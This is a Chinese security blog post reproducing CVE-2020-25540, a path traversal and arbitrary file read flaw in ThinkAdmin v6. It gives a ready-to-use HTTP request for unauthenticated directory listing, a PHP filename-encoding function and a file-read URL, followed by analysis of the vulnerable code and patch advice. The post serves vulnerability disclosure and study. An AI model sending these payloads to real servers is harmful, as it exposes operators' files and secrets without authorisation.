专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
超级数学建模  ·  不会做PPT没关系,只要你努力的找一个... ·  昨天  
超级数学建模  ·  懂中式美学的人,真不简单! ·  昨天  
超级数学建模  ·  这也太香了!一口酥脆,根本停不下来! ·  昨天  
超级数学建模  ·  全球限量7777件,这可能是最浪漫的情人节! ·  2 天前  
超级数学建模  ·  甩货,超强清仓!华熙生物胶原贵妇精华,99元 ... ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

CVE-2020-25540:ThinkAdmin两个漏洞复现

TimelineSec  · 公众号  ·  · 2020-10-17 18:15

正文



上方蓝色字体关注我们,一起学安全!
作者:口算md5 @Timeline Sec
本文字数:1611
阅读时长:5~6min
声明:请勿用作违法用途,否则后果自负


0x01 简介

ThinkAdmin是一套基于ThinkPHP框架的通用后台管理系统,ThinkAdmin的权限管理基于标准RBAC简化而来,去除了繁杂的节点管理,使得权限管理起来更简单,具体包含节点管理、权限管理、菜单管理、用户管理。


0x02 漏洞概述

漏洞编号CVE-2020-25540

ThinkAdmin6版本存在路径遍历漏洞。 该漏洞主要是因为api中存在危险函数,且未作任何限制。未作任何认证可以直接调用api中此两危险函数。攻击者可利用该漏洞通过请求编码参数任意读取远程服务器上的文件。


0x03 影响版本



ThinkAdmin版本小于 ≤ 2020.08.03.01


0x04 环境搭建

环境:phpStudy+ThinkAdmin_v6

使用Composer命令进行安装


1、设置阿里云 Composer 代理

由于国内访问Composer比较慢,建议设置阿里云Composer镜像,运行如下命令设置阿里云代理

composer config -g repo.packagist composer https://mirrors.aliyun.com/composer


2、下载应用代码(别人fork的老版本)

https://github.com/179776823/ThinkAdmin


3、安装依赖组件

进入ThinkAdmin目录,运行指令安装依赖组件

cd ThinkAdmincomposer install


如未成功,查看官方安装文档:

https://thinkadmin.top/install


0x05 漏洞复现


1、 列目录

POC:

POST /admin.html?s=admin/api.Update/node HTTP/1.1

Host: 127.0.0.1

Accept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 22


rules=%5B%22.%2F%22%5D



2、 任意文件读取

在根目录下创建文件1.txt,内容为 lalalaa

使用以下加密函数对1.txt文件名进行加密

function encode($content){    list($chars, $length) = ['', strlen($string = iconv('UTF-8', 'GBK//TRANSLIT', $content))];    for ($i = 0; $i < $length; $i++) $chars .= str_pad(base_convert(ord($string[$i]), 10, 36), 2, 0, 0);    return $chars;}


得到数据加密数据 1d1a383c38


访问下面链接即可读取到1.txt(读其他文件同理)

http://127.0.0.1:8000/admin.html?s=admin/api.Update/get/encode/1d1a383c38




0x06 漏洞分析



1、列目录 分析

函数node()

public function node(){    $this->success('获取文件列表成功!', InstallService::instance()->getList(        json_decode($this->request->post('rules', '[]', ''), true),        json_decode($this->request->post('ignore', '[]', ''), true)    ));}


读一下函数是把post传过来的rules和ignore参数给getlist()函数


看注释猜getlist()就是一个循环遍历目录读文件和目录信息的,动调跟一下,结合着poc看先传个[“./”]给rules



然后进到getlist(),循环读取改目录下的所有文件



然后就返回出来了




2、任意文件读取分析

函数get()

public function get(){    if (file_exists($file = $this->app->getRootPath() . decode(input('encode', '0')))) {        $this->success('读取文件成功!', ['content' => base64_encode(file_get_contents($file))]);    } else {        $this->error('读取文件内容失败!');    }}


这里就是一个获取encode参数作为文件名在thinkadmin根目录下读文件,只不过加了个密。跟一下解密函数。顺便一提,上文用的加密函数就在这个函数上边


2位2位的取字符串中的数据,由36进制转为10进制,当作ASCII码转字符,然后就是返回到get()函数上读完返回。


0x07 修复建议


1.升级到2020.08.03.01之后的版本

2.官方给的临时解决办法

https://github.com/zoujingli/ThinkAdmin/issues/244



0x08 总结






请到「今天看啥」查看全文